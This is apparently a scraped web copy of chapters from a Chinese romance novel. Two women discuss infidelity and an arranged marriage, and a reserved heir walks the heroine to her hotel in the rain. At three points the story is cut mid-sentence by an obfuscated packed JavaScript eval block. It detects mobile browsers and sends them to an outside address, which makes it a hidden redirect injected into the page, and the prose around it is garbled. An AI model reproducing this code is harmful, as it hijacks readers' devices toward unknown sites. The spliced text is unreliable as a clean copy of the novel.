霍敏思性格直爽,换男友换得勤,但从来不玩三心两意的多角游戏。她默认对方也是认真对待这段关系。结果前不久孙越崎到东京出差一周,霍敏思想着给他个惊喜,上门就抓到他双飞偷吃。 面对霍敏思的冷声责问,孙越崎起初还有几分理亏,低声下气认错,推脱自己喝醉了,以后不会再犯。 可惜霍敏思完全不吃这套,句句锋利,声声讽刺。 孙越崎少爷一个,耐心有限,哄着哄着也黑了脸,厌烦了做小伏低,直接反唇相讥。 “这究竟有什么值得计较的!睁只眼闭只眼就过去了,我们身边哪个不是这样?酒局里塞过来的人,我连她们样子都记不住,得闲消遣,玩玩而已。至少我可以保证,绝不会明面上让你难堪。” 事关两边家族利益,订了婚约,就不是轻易脱得开的关系。 然而二十几岁人,年轻气盛,谁都不肯示弱。恋爱也要分高低输赢。既然你玩,好,那我也玩咯。 霍敏思怒极反笑,只声不作,转头回国包养了个男演员,成日出双入对,没再正眼瞧过孙越崎一眼。 “我期望也不高吧?要他好好谈场恋爱,认认真真投入当下,不掺入其他杂质,是什么很难的事吗。在一起的时候一心一意,过后无论是好聚好散还是各玩各的,我都可以接受。结果他前一晚在电话里讲有多对不起我,多爱我,只爱我,不能失去我。第二日在凰阙遇到,就见他揽着其他人,问我和Eric要不要四个人一起玩交换游戏。” 霍敏思冷冷嗤笑,没让调酒师伺候,自己动手开了支麦卡伦,挑了个切割精致的威士忌杯放在李絮面前。 “才几岁,未嫁未娶,跟我玩openrelationship那套?打了我一边脸,还要我把另一边递过去。扑街,他也配。” 李絮已经很习惯这个话题,坐在吧台椅上静静听她吐槽,还有余裕似笑非笑问一句,“哦,意思是,结婚之后就能接受?” “婚姻的本质是契约,保障是财产,又不是爱情。我当然不会天真到追求什么一生一世一双人。就连我爸,表现得那么完美顾家,信誓旦旦多爱我妈,白日嘘寒问暖,夜晚绝不在外留宿,实际都在御景湾养着另一个女人。” “但是你要我说他完全不爱我妈了,我又觉得不是。”霍敏思撇了撇嘴,态度洒脱,“谁能保证自己永远专一,永远钟情同一个人呢?毕竟人是受荷尔蒙控制的动物,好易变的嘛。尤其是雄性动物,基因底色就有多偶倾向,违抗本能哪有那么简单。以后事以后算。我只要求当下真心真意,别装,别假惺惺,那就谢天谢地了。” “或许他说出口的瞬间,是真的觉得自己托付了真心的呢。”李絮慢慢晃着酒杯里的冰球,听着不同材质细微的碰撞声,试图稍微抽离立场来看待问题,“有些人就是情感和肉.体分得很清,性只是发泄荷尔蒙的一种途径,跟每周定期打打网球出出汗没什么区别。” “那这份真心未免太污糟太cheap,得到手都觉轻飘飘。”霍敏思嗤之以鼻,“况且他分得清,我分不清,凭什么要我配合他标准?我可做不到像他那样,个个都是cardiobuddy,嘴上说着没动心思,结果随随便便对着什么阿猫阿狗都发情。腌臜到死,有病别沾我身上。” “虽然理解追逐性也没什么错。”李絮托着腮,垂眼看着琥珀色的酒液,很轻地抿了抿唇角,“但完全屈服于动物本能的人,也实在没什么美感可言。到现在还是觉得那句话讲得有道理,一个人的性倘若廉价,爱就一定难以昂贵。” “可以分享的爱,昂贵得到哪里去?”霍敏思还是认同黑格尔那一套,“爱本身就是一种承认欲望,人希望在其中得到验证的,无非是自己的绝对特殊性。” “所以你接受不了任何形式的分享。” “各论各的,我没那么不切实际。婚姻可以权衡利弊,只谈利益。但恋爱要是没有阶段性的独一无二,连这么丁点情绪价值都提供不了,那还谈来干嘛?” 李絮若有所思地看着她,“一个人不行吗。” “有点难咯。”霍敏思说,“群居动物,多多少少都会需求这种形式化陪伴,就类似某种写在基因里的缺陷?有人能做到吧,但我怕辛苦,不想考验自己。” 李絮不予置评,噙笑抿了一口酒,突然问起,“那你还喜欢孙越崎吗。” “喜欢啊。”霍敏思坦荡承认,“但不妨碍我不想再犯贱。我爸妈养我这么大,从没舍得让我将就用过便宜货,这种滥竽充数的真心,摔了也不可惜。” 李絮跟她碰杯,由衷笑赞,“好酷哦,学姐。” “不然呢。”霍敏思俏皮地扬了扬眉,“讲到底,我就是最爱我自己。” 两人都是好酒量,就着久违的小聚闲聊,不多时就饮空一杯。 “好稀奇。”霍敏思不嫌累,动手给她做第二杯水割,隔着吧台探询似的看过去,“今天这么多话,感觉你有心事。” 李絮没有否认,手指捏着坚硬的金属边缘,叉了一小块蜜瓜火腿芝士,放在餐碟里晾着,一直没吃。 “有时候真的会钻牛角尖,好难想明白。”过了十几秒,才听见自己轻而脆的声音浮在空中,“假如爱是排他的,那为什么最亲密的性与吻可以与第三者分享?假如爱是开放的,可以共享的,那它还有什么独一无二的珍贵性可言?俯拾皆是的东西,还值得人付出,值得人追逐吗?” 她鲜少将感情方面的困惑表露出来。 连霍敏思都不免有须臾讶异。 “因为爱不是必需品,而是限时限量的奢侈品啊,Sweetie。”将搅拌完成的水割放到她面前,霍敏思好温柔地摸了摸她脸蛋,像在安慰一只茕茕孑立的懵懂小鹿。 “这世上又不是人人都有能力爱,人人都配得到爱。不纯粹的已经够稀有了,更何况那种百分百理想化的感情?人的嫉妒心好重的,又虚荣。得不到灵魂共振,那就退而求其次,拿得到手的新鲜、刺激和性,鱼目混珠骗一骗自己和别人咯。” “爱是一种能力吗。”李絮半晌不语,倏尔笑着眨了眨眼,“那我会不会失去?” “首先。”霍敏思拥着她离开吧台,浮夸地叹了口气,“Honey,你得先拥有一样东西,再谈失去。” 讲得她好像一袭里面没有真人的空礼服。 李絮温吞辩驳,“我也谈了两年多恋爱呢。” “你那真的叫恋爱,不叫角色扮演吗。”霍敏思懒懒往沙发一靠,先是质疑,继而切入正题,“好啦,说说看。陈彧前天找人都找到我这里来了,你们什么情况。” 李絮没有隐瞒,直接说,“我跟他分手了。” 霍敏思抿了口酒,不太意外的表情,“隐隐约约有猜到啦。” 她跟陈彧不对付,从来不看好他们的关系,因此半分惋惜都没表现出来,“可喜可贺,你终于下定决心了。” “他替我下的决心。”李絮稍微斟酌了一下措辞,“我撞见他跟别人一起。” “Congratufuckinglations.”霍敏思重重翻了个白眼,“标准结局。男的都是小头支配大头。所谓的玩咖收心、浪子回头,都是恋爱脑自我催眠的谎言,你吃一堑长一智,这辈子都不要再信。” “我没信过。”李絮说,“我也跟别人睡了。” “什么!?”霍敏思难得失态惊呼,两眼放光捉她肩膀,连声追问,“真的假的!什么时候?那人谁?国产的还是意大利的?” 李絮不敢把言漱礼的名字说出来,掐头去尾,含糊其辞应付了句,“德国的。” “那不亏!”霍敏思半分没为她与陈彧可惜,反而实打实雀跃起来,“德国男的比国产男和意大利男的质量高多了!他长得帅还是陈彧长得帅?你主动的?怎么回事,突然之间就破了心魔开了窍了?快快快,分享一下,体验感如何?” “…还行。”李絮支支吾吾,“起码我没吐。” “Ohmygod!!”霍敏思兴奋捂嘴,“陈彧本人知道吗?应该不知道吧,不然翻天了要!我好想看那个衰人知道后会是什么表情,你们有没有可能大吵一架满足我?拜托拜托,我申请参演女配角,第一视角看戏!” 李絮又无语又好笑,“想看我死你直说。” “天呐。”霍敏思没心没肺地大笑,“这算什么剧情发展,你打算后面怎么收场,需要我帮忙吗?” “我自己可以解决。”李絮秒拒,“又不是什么光彩的事,拖你进来干嘛。” “怕什么。陈彧又不敢拿我怎么样。”霍敏思从来娇蛮,除了她堂哥谁也不怕,“哎哎哎,比起这个,我更关心你跟那个德国仔。你们是一次性日抛,还是有可能发展成固定关系?” “没可能。”李絮及时斩断她的好奇心,“不出意外,我们应该不会再见。” “二十一世纪地球是个村,想找人也就是滑一下手机的事,各个软件翻一下啊,我不信他不玩社交网络。” 李絮认真想了想,“他真不像玩的人。” “囡囡。”霍敏思语重心长,“你是找了个用翻盖机的老头吗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042076|162575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我居然一直没发现你有daddyissue?” “跟daddy这个词联系起来的男人,只会让我吐得更严重。”李絮闸住她八卦的嘴,“就机缘巧合碰了一面,他应该对我没什么兴趣。” “对大美女没兴趣,性冷淡啊?”霍敏思嗔怪,“你喜欢这种?” “说不定。”李絮耸了耸肩,习惯性胡诌,“性冷淡的男人可能对我反而更有吸引力。比起滥交、性无能和性.虐狂,有能力没欲望,还算有点游刃有余的克制美感。” “那样也好无聊的。食色性也,又不是修仙成佛,清心寡欲好容易失去做人乐趣。”霍敏思思维跳跃,“讲到这个,我又突然想起RickandMorty有一集,说星球快要毁灭了,所有生物都跑到大街上开淫.趴。” “这对有心理障碍的人也太不友好了吧,比丧尸片还恐怖。”李絮呷了口威士忌,不咸不淡地发表意见,“要是世界末日真的要来,我还是睡半天,喝半天,自己爬上楼顶跳下来好了。一个人死在日落里也挺浪漫。碎碎平安,surprise,还能随机吓萎几个男的。” 霍敏思闻言笑得花枝乱颤,往她身上锤了好几拳,迭声说她痴线。 怕这个话题聊久了自己要露馅,李絮左右望望,问起常常陪在霍敏思身边的那个男演员,“Eric呢,最近不是如胶似漆吗,怎么没见你带他一起出来。” “分开啦。”提及这个玩伴,霍敏思还有些不舍,但很快振作精神,话锋一转,“哦,对了,差点忘了跟你讲正事——我要结婚了。婚礼定在下个月,你得空出时间来给我当伴娘。” 不啻于爆炸宣言。 李絮差点呛酒,满脸惊讶睇过去,“你不是跟孙越崎彻底闹掰了吗?怎么还要结婚?” “除了我堂哥那种有能力自己做主的,其他人蒙荫长大,哪个不得规规矩矩尽义务?家族利益永远排在首位,婚还是要结的,不过不是跟孙越崎。” 霍敏思早已接受了这份有舍有得的现实,无所谓地往她杯沿一碰,发出清脆的一声低响。 “是跟普瑞集团,言崐言老先生的孙子。” 李絮闻言,霎时间愣了愣。 普瑞集团,言崐的孙子。 一张英俊锋利的脸骤然掠过眼帘,李絮心脏跳突了一下,不由攥紧了冷凉的威士忌杯。 “你是说,你要跟言——”她思绪混乱,有些迟疑地掀了掀了嘴唇,正欲问出口。 霍敏思的手机却恰巧响了起来。 “见鬼。说谁来谁,这阴湿眼镜仔。” 大小姐明显不待见地“啧”了一声,冲李絮比了个等等的手势,滑开屏幕接起来电。 “在忙,节约时间,有事说事。”霍敏思讲话一如既往娇纵,隐隐间又有种对待熟人的不耐烦,“过海?现在?…等一下,我爷爷约饮早茶,怎么不是跟我讲,而是跟你讲?…那我们提前那么早过去干嘛,明天睡醒再去不行吗?…有病啊,天没亮又去海钓,他七十多岁人了,腿脚不好,大哥你别陪他瞎折腾行吗?” 对面大概在解释说明什么,霍敏思满脸不快地听了半晌,最后勉勉强强接受提议,“那是要怎样,现在就过去吗,一起走还是各走各的?…我在店里,跟絮絮一起,她刚回来,我们话都没来得及说几句,您可真会挑时间…什么?现在?你现在在楼下?” “知道了,别啰嗦,我收拾收拾就下去。”霍敏思怏怏地翻了个白眼,“十分钟。你要实在闲着没事做,楼下有人笃眼笃鼻碍着我开门做生意,你顺便帮忙打发了。” 挂断通话,霍敏思整个人都耷拉了下来,手机一扔,闷闷向李絮抱怨,“完了,女明星临时加塞通告,得过海出演合家欢剧场赚零花钱了。” 李絮旁听几分钟,心里基本已经有了判断,刚才飞乱的思绪渐稳下来,默默松了口气。 她将杯中剩余的威士忌一饮而尽,随之站了起身,“没事,走吧。我也回酒店了。” “别。”霍敏思笃笃笃地踩着高跟鞋去整理仪容,“我这有地方休息,你喝完直接在这睡,跑来跑去做什么。我明天下午就回来,带你去我新开业的北欧餐厅试试菜品,挖那主厨费不少劲呢。” 李絮答应了吃饭,但没答应留下过夜,将大衣搭在手臂上等她来回倒饬,“我又不画画,一个人喝酒干嘛,还不如回去翻翻资料写论文。” 霍敏思知道她的习惯,想想也是,“行,那我找人送你。” 室内暖气开的足,入目皆是绿意,比实际更快跃入下一个季节。两人都没穿外套,绕过一尊巨大的大理石雕塑进入客梯,轿厢明亮宽敞,匀速向下坠。 霍敏思看着镜门,戳了戳她手臂,“想什么呢,这么认真。” “想。”李絮诚实道,“应该送你什么新婚礼物。” “送我幅画呗。”霍敏思神情俏皮,“时间赶,任务重,批准你延后交付。反正早早买股,看好你以后作品升值暴涨,让我大赚一笔。” “这么给我省钱?”李絮低眉笑了笑,“行。” 与她们言笑晏晏的轻松氛围不同。 出了电梯,一楼池座环境冷清,空气凝滞。侍应生都被打发走了,惟有调酒师还不声不响守在吧台后面,驻场的爵士乐队在角落兢兢业业地继续演奏。 钢琴清柔,鼓声低沉,萨克斯充满呼吸感。 占据视觉重心的巨型海缸温柔包裹住鱼群,蓝荧荧的波光流淌而出,无声无息地静静摇曳。 底下华贵的折角劳伦斯沙发上,坐着一个落拓不羁的年轻男人,手持茄剪,面色阴鸷地低头剪一支雪茄。 他的对面,是一个气质不凡的贵公子,西装革履,温文尔雅,戴一副金丝眼镜,正慢条斯理地啜饮一杯烈酒。 步入此间,像是误入氧气稀薄的低压中心。 “讲好十分钟。”言逸群闻声回头,微笑望向霍敏思,“又迟。” 霍敏思忽略随之而来的另一道强烈视线,娇俏一笑,“室内禁烟。客人不知道规矩也就罢了,你是半个东家,不会请人出去抽吗。” “对待朋友,何必这么严格。”言逸群彬彬有礼,举止自然地过来揽住自己未婚妻,“难得撞见,正好叙叙旧,聊几句。” 李絮与霍敏思拉开几步距离,不想介入这尴尬的三角对峙,低声丢下一句“我自己回去,你不用送”,即刻就要隐身走人。 可惜言逸群为人处事,比他表弟周到太多。 “Chiara?”他儒雅有礼地冲李絮颔了颔首,“久闻大名。经常听思思提起你,今日终于有机会见面,幸会。” 李絮反应迅速,即刻收回脚步,扬起社交微笑,客气回礼,“言先生,幸会。” “差不多得了。”霍敏思懒得装,更看不惯这枭心鹤貌的男人装模作样,小幅度给了他一记肘击,“你司机呢,帮我送她回去。” “不巧。”言逸群一副好脾气的模样,好整以暇捏住她手,“刚刚回爷爷那边吃饭,没开双牌车,想着过来蹭你的车去亚港。” 霍敏思暗暗跟他较劲扯自己的手,余光瞥见孙越崎要吃人的眼神,又停了动作,咬牙忍耐道,“那你一个人怎么过来的?” 言逸群没有直接回答她的问题,目光越过两位女士肩后,熟稔地抬了抬下巴。 “阿礼。” 他声线清越,冲隐在海缸背面的那人道,“帮帮你阿嫂的忙,送Chiara回去一趟。” 在场的,除了他们,还有一人。 李絮吃了一惊,硬着头皮,艰难回眸。 局限在室内波光粼粼的深蓝模拟海,奇异、幽暗而瑰丽。有人踩碎了满地波光,赫然拂开海水走入夜里。 言漱礼英俊挺拔,站在艳丽漂浮的热带鱼群边,冷若冰霜地淡着一张脸,漠然向她投来一记视线。 10. 10 10 细雨绵绵的夜。 城市CBD熙熙攘攘,车水马龙,猩红尾灯前后接连,拉扯出曲曲折折长长一条线。 黑色宾利刚从内环线下来就遇拥堵,五分钟过去,连挪都挪不动。 车厢内暖气充盈。 巴赫的平均律在封闭的空间徐徐流淌,简洁精巧,一如既往符合记忆中他的审美。 司机专业素质极高,驾驶稳,存在感低,几乎像个隐形人。 衬得后座拧着脖子望向窗外虚焦一片的李絮更加局促。 言漱礼坐在她左侧,冷漠又沉稳,似是完全忽略她的存在,亮着iPad屏幕在翻阅一份密密麻麻的文件。 李絮透过车窗玻璃看他动作,忍不住心不在焉地想,还好云城光污染严重,街灯霓虹比日间还要亮,否则都有些担心他会得青光眼。 半小时之前,言逸群笑眯眯地开口让言漱礼顺路送她回去。李絮下意识想要婉拒,但言漱礼一言不发,冷冷望着她,朝门口抬了抬下巴,话都没一句,转身提步就走。 李絮急于摆脱当时一触即发的修罗场,迫不得已应下来,跟霍敏思道了声“晚安”,旋即快步追上去。 湖心风大。 玻璃门一开一闭,骤然体会到不同季节的温差。 “衣服穿上。”言漱礼沉声提醒。 李絮被吹得瑟缩,没来得及开口让他不必送,后知后觉“嗯”一声,将搭在臂间的大衣抖开披上。 冷棕色的长发有一小绺夹在衣领里面,她自己不知道,只顾低头整理袖口。言漱礼垂眸看她一眼,默不作声帮她翻了出来。 动作很轻。 李絮完全没察觉。 雨下得似有若无。言漱礼没让侍应生随行,自己接过一柄伞,将李絮拢在底下,慢步轻行,穿桥过湖,兜兜转转走出这迂回迷宫。 他的车等在门口,司机恭恭敬敬侯在一旁。 “其实我们应该不顺路。”踌躇半晌,李絮终于寻到机会开口,“还是不麻烦你了,Leon,我自己回去就好。” “没什么顺不顺路的。”言漱礼视线向前,没看她眼睛,也不让她看自己的,“答应了言逸群要送你,免得他回头找我麻烦。” 李絮没作声。 “回哪里?”言漱礼直接问。 李絮想了想,还是应了,“沙洲江岸的莱斯特酒店。” 言漱礼没有表现出多余的好奇心,也没有问她为什么即使身在云城也不回李家,俯身替她打开车门,淡漠而绅士地扶住车顶。 李絮不肯露怯,压抑住再度碰面的尴尬,抿出浅浅梨涡,弓身坐入后座。 一路无言。 李絮起初还有些不自在。前日一别,李絮睡眠不足昏昏沉沉,本就是秉着以后不会再见的心思,才口无遮拦胡说八道一通。结果没隔48小时,又与他并排坐在同一辆车里。 再怎么装得若无其事,还是难从容。 好在言漱礼缄口不提那件事,只当完成一项任务,全程视她若空气,低头专注于自己手中的文件。 李絮慢慢松弛下来,为了避免与他对上视线,索性没礼貌地拧着头,望着车窗外的模糊夜景发呆。 以往接触甚少,今晚这一出,还是她头一回同时见到言家这两位青年才俊。 他们年轻这一辈,言漱礼和言逸群都是圈里屈指可数的风云人物。不仅因为他们自身条件优越,更因为他们家世背景充满戏剧感,许多人茶余饭后讲起,都难免感慨唏嘘。 比起其他树大根深的豪门,言家人丁分外单薄。言崐在生意场上一帆风顺无往不利,子女福缘却浅,与妻子仅育有一子一女。 长子体弱,思虑重,三十多岁接手家业没几年,就抛妻弃子剃度出家当了和尚。 幺女是个古典钢琴家,远嫁德国,定居慕尼黑。生活一直顺遂美满,然而在言漱礼七岁暑假时,却与丈夫意外遭遇空难,双双殒命大西洋,连片缕踪迹都寻不回来。 言崐悲恸得一夜白头。 是以,言逸群和言漱礼两个孙辈,皆抚养在老爷子膝下,由他亲自教导长大。两人并非亲兄弟,胜似亲兄弟。 未来的路,都是早早为他们规划铺垫好的。 言逸群母家权势显赫,有红色背景,又有公检法人脉加持,从学生时期就已决定由法转政。 而言漱礼则被当作普德控股的继承人培养。集团旗下制药、医疗器械、消费品三大板块,最先交由他手的是创新药的前沿研发药企NMAA。原研药可谓最烧钱、最费时间、也最冒风险的领域之一,研发极其依赖基础科学,而国内弱的恰是基础科学,再加上集采打击、支付端问题和中美政策收紧,发展环境其实举步维艰。但言漱礼有资金、有魄力,一步一步,都在顺应期望,又在超越期望。 与李絮完全不同世界的一个人。 车流停滞不前已经将近七八分钟。李絮漫无目的地发够了呆,坐得有些难耐,忍不住翻出手机,打开地图导航看了看剩余的拥堵路段。 “感觉至少还要堵半小时,拐进去林荫道堵得更严重。”她口吻委婉,对身边那人抿出浅浅梨涡,“也没剩几步路了,不好再浪费你时间,我直接在这里靠边下车吧。谢谢你送我回来,Leon。” 言漱礼闻言,终于舍得将视线从工作中抬起,定定看她一眼,“走回去?” “嗯。不远。”李絮微微噙着笑,“不过可能要麻烦你借我一把伞。” ——虽然大概率还不了。 他应该也不需要自己还。 言漱礼没应她,面无表情关掉iPad,吩咐司机继续往莱斯特酒店开。随后没等李絮有所反应,就径自下了车,撑伞绕过来拉开她的车门。 “走。” 他扶住车顶,垂眼望她,表情有一点她难以分辨的执着。 很早以前就已经发现了,李絮想,她没有办法拒绝他。 春夜的雨,下得迷迷蒙蒙,像是向下坠,又似向上飘,有种时间回溯的微妙。 从中心大道转入林荫道,并未如李絮所言的那般拥堵不堪,反而人迹稀少,车都没经过几辆。不知是车流疏通了,还是她本来就在扯谎。 道路两侧的梧桐高耸入云,枝桠疯长,浓密得几乎蔽日遮天。 街灯昏黄,行人寥寥,仿佛一幅永远晾不干的、湿漉漉的油画。 他们在浓郁的绿意中穿行。 心照不宣的沉默中,没想到是由言漱礼先开口。 “陈彧去佛罗伦萨了。” “我知道。”李絮点了点头,声线柔和,“我同学跟我讲了。” “你这样躲,有用吗。”言漱礼语气淡淡,不留情面地指出,“他要查你的航班和入住记录,分分钟的事。” “我知道。”李絮还是那句,但态度并不敷衍,反而冲他笑了笑,“拖得一天是一天,我也好多做准备嘛。” 言漱礼眼底涌动着晦涩情绪,像是亟欲说些什么,但终究没有说出口。 走走停停,又遇窄窄的十字路口,红灯闪烁,静静读秒。 他们前面等着一对身穿制服的高中生。青春鲜活的少年少女,单薄的肩膀彼此挨蹭着,像两株蓬勃的绿植,共撑一把小小的透明雨伞。 或许是以为周遭无人,又或许是根本就不在意。男孩趁女孩仰头说话的瞬间,飞快低头啄了啄她软乎乎的脸颊,又飞快分开,当作什么都没发生过。 两个人都不讲话,各自望向不同方向,但又同时笑了出来。 正是做什么都会留下回忆的好年纪。 信号灯来回转变,下一个三十秒,轮到李絮和言漱礼耐心等待。 然而他们当然没有亲吻与羞赧的理由。 便只是不远不近地一起站着。 “好怀念。”望着少年人渐远的身影,李絮不由轻轻感慨,“虽然高中记忆实际上也没有多美好,但看着他们这么年轻,还是好怀念。” 言漱礼没有接话,握伞的手骨节分明,不着痕迹地向她的方向倾斜。 李絮看着这双手,忽然想起它更青涩时,放在黑白琴键上的情形。 “不知道你还记不记得,音乐课期末考核之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你说这话。”言漱礼神色很冷,声音更冷,“你自己信吗。” “为什么不信。”李絮俏皮地耸了耸肩,“我本来就是这么俗气的人啊。” 一副百无聊赖追忆青春,又轻而易举释怀的洒脱模样。 全然不顾自己会给别人带来什么困扰。 言漱礼不发一言,下颌线忍耐地收紧了,不愿再看她多一眼。 “不过都已经过去好久了,像上世纪发生的事,来得快,去得也快,没什么大不了的。我也只是突然想起来了,随口说说而已,请你不要在意。” 李絮见好就收,很快收敛神色,一本正经地请求谅解,“我过几天也要回意大利了,希望毕业之后可以顺利留在那边工作。除了下个月思思的婚礼,往后,我们大概也不会有机会再碰面了。” 一番话,该说的不该说的,都让她说尽了。 “你想表达什么。”言漱礼生硬道,“怕我缠着你,捉住那晚的事不放吗。” “当然不是。”李絮垂下眼睛,回避似的微笑着,“我虽然俗气,但也有自知之明,脸皮也很薄的。” 言漱礼一瞬不瞬地盯着她,声音低冷而清晰,“那就别再说这种违心的话。” 流绪微梦。 雨的气味黏黏的,像一场无法溶解的幻境。 李絮心脏高高悬空着,心底那根脆弱的弦在颤动。 信号灯又变了一轮。 他们身后的行人都已往前越过了。 徒留他们在这窄窄路口,又再浪掷时间,等待下一个三十秒。 “言漱礼。” 在雨滴打落伞面的细微声响中,李絮很轻很轻地叫了一声他的名字。 “你是不是觉得我很轻浮。” 风从梧桐的罅隙之中产生。 像一张铺天盖地的网,温柔而厚重地覆盖住他们的身影。 言漱礼没有表现出什么情绪。沉默许久,才居高临下地用手碰了碰她被拂乱的发丝,指腹柔软地擦过那枚冷硬的唇环。 “我觉得你很没耐心。” 他眉目沉沉,漠然低声,隐隐饱含某种指控。 “喜欢人,喜欢到一半就放弃。” 11. 11 11 好怪的一场雨。 时落时歇,浇得梦境都湿透。 醒来觉得梦里发生的事未免太过荒谬,言漱礼怎么可能与她浸在同一片钴蓝,像两只惟恐被冲散的小海獭一样紧紧依偎在一起? 可是在梦里,他们就这么自然而然地在海水中漂浮,谁也不会怀疑。 因为怀疑了就会醒来。 李絮拥着被毯,睡眼惺忪望着窗外,适应了半晌光线,确认了今日仍是阴雨,才肯慢吞吞地起身。 窗边倚着一把洇湿之后又干透的直骨伞。 昨夜在林荫道,各自若有所思,默契保持沉默穿过十字路口,没几步路,就到了酒店的入口庭院。 很难分辨对方那句话,究竟是指向那个会产生谬误的含义,还是纯粹为了报复自己旧事重提的随心所欲。 李絮不愿追问。 言漱礼也无意解释。 一公里不到的路,被他们拖拖沓沓走得格外浪费,而司机不知还堵在何处,比他们到得更迟。 莱斯特酒店位于林荫道中段,建筑风格简洁粗犷,近似柯布西耶的粗野主义。拨开葱葱郁郁的绿,目之所及,就只见删繁就简的几何线条与色彩运用,如同一座庞大静谧的纯白雕塑。 他们携着一身湿意,从侧道步入门廊,亦如步入一个宏伟昏暗的巢穴。 李絮低垂眉睫,看着言漱礼将伞收起,伞尖滴落的雨水没入地砖的缝隙里。 没有人讲话。 惟有风声幽谧。 言漱礼既没有开口让她留下,也没有直接作别。 蹭了别人的车和伞,当然不可能将人撇在这里空等,径自离去。 李絮打消躲避的念头,有一瞬间甚至心有微澜,自作多情地担忧了片刻——假如他不声不响跟着上楼,自己是该拒绝,还是接受? 霡霂初歇的潮湿夜,拂去不合时宜的思绪,如同拂去薄薄一层苔锈。 对峙般面对面静立半晌,李絮拎了拎唇角,最后还是摸出烟盒,滑动锁扣,敞开古董漆器的心脏,低柔着声音问他。 “好像不怎么赶时间,要吗?” 似又不似的一副情景。 言漱礼沉沉望入她眼睛,一言不发,伸手接了过去。 大堂门口有客出入,他们往花艺墙边挪了挪,面朝江景,在一树湿漉漉的早樱底下,找到一根孤零零的烟灰柱。 按下开关,雨伞像膨胀的花朵一样重新打开,接住头顶扑簌簌掉落的雨樱。 柏油路面也被浸成了一面碎镜,弯弯曲曲,影影绰绰,盛着落樱,晃动着模糊树影。 言漱礼穿一身质感考究的暗灰羊绒西服,领带没卸,端正地束着温莎结,白金蓝宝石领带夹一丝不苟地佩戴在第三粒扣与第四粒扣之间。 左腕黑漆表盘的百达斐丽,机械机芯昂贵拨动分秒,将夹在指尖的廉价万宝路衬得格格不入。 李絮低头翻找手袋。 他一动不动,好耐心撑着伞在等。 从这个居高临下的角度,可以异常清晰地观察到她专注的面容。软的腮颊,浓的眉睫,盈盈秋水,淡淡春山,唇间欲语还休衔住一丝金属裂痕。 “找到了。” 或许连她自己都不曾察觉,她眉眼弯弯笑起来的时候,会习惯性微微抿一抿那枚唇环。 言漱礼不动声色地调整了一下伞的位置,挡住冷风撇雨,让街灯更柔软地渗进来。 “这次不用那么原始。”李絮合上手袋,亮了亮手中好不容易找到的打火机,“比上次好一点。” 信誓旦旦的语气。 可惜便利店随手搭单的塑料打火机,外观与性能都非常匹配它的个位数身价,完全不具备防风功能。 李絮拇指连按了好几下推进器,火好不容易冒出来一小绺,下一刻就哆哆嗦嗦被吹得熄灭掉,差点要燎到手指。 她颦了颦眉,拢手护着,想要背风侧过方向,却被轻轻捉住了腕。 “看来,好得也有限。”言漱礼淡声评价。 亮黄塑料壳的一次性打火机被抽走,换成黑白钢琴漆的都彭,“叮——”地一声响。 昏暗夜里迸出一点光亮。 被掌控于手中的火焰,永远充满温驯而柔和的假象。 仿佛此刻伸手触摸,也不会被灼伤。 对方不紧不慢俯近的宽阔胸膛,携有年轻男性特有的荷尔蒙气息。犹如深埋雨雪之中湿烧的松木,绵绵灼烧着人的鼻腔,有种难以名状的碱性涩感。 李絮衔着烟,呼吸不稳地抖了一下。 烟草燃烧的微弱灰雾,徐徐弥漫在彼此之间。沾了水,又变得湿涔涔的,与花期将尽的早樱一起,轻而又轻地往下坠。 发不出多少声响,也堆叠不出多少重量。 有一种欲盖弥彰的陌生与熟悉,充斥在这支烟的时间里。 他们不言不语,故意回避对方的目光,相处得像两株地下根茎毫不相干、惟有枝叶在空中偶然挨蹭的树。 雨渐渐变小,趋近于无。 不过具体过了多久,有道刺目的车灯晃过,一辆眼熟的黑色宾利徐徐驶入酒店庭院。 接他的车终于姗姗来迟。 李絮佯装心不在焉,仰头看了身边人一眼。 不知是恰巧,还是原本就有意等在那里,言漱礼的视线也正好落在她身上。 “你司机到了。”李絮多此一举地提醒他。 言漱礼单手点掉烟灰,淡淡“嗯”了一声。 以雨夜落樱作衬,他抽烟的姿态更显俊逸贵气,不紧不慢,有种徐疾的雅。 瞧她的眼神亦是如此。 李絮被瞧得心生微澜,莫名溢出一种受困的悸慑。半晌,才掀了掀嘴唇,鬼使神差地开了口。 “伞。”她轻声道,“可不可以借我?” 出乎意料的一句问。 自己讲出口都觉荒谬。 言漱礼有些意外地挑了挑眉,低头端详着她,既没有说可以,也没有说不可以。 “雨停了。”他把伞稍稍掀开,示意她向外望。 李絮将手伸出去,燃烧的烟果然没有被浇熄,地面的水洼也不再晃动,惟有早樱疏疏地落。 “现在停了。”她打开掌心抚摸了一下风的形状,漫不经心讲,“总感觉还会再下。” 言漱礼静了片刻,“打算什么时候还。” “这么小气?”李絮双瞳剪水地含笑打量,“你又不缺这把伞。” 有借无还。 让她讲得这么理所当然。 “你自己说的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15042078|162575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言漱礼捉她字虱,仿佛机器奉行严格标准,“‘借’。” 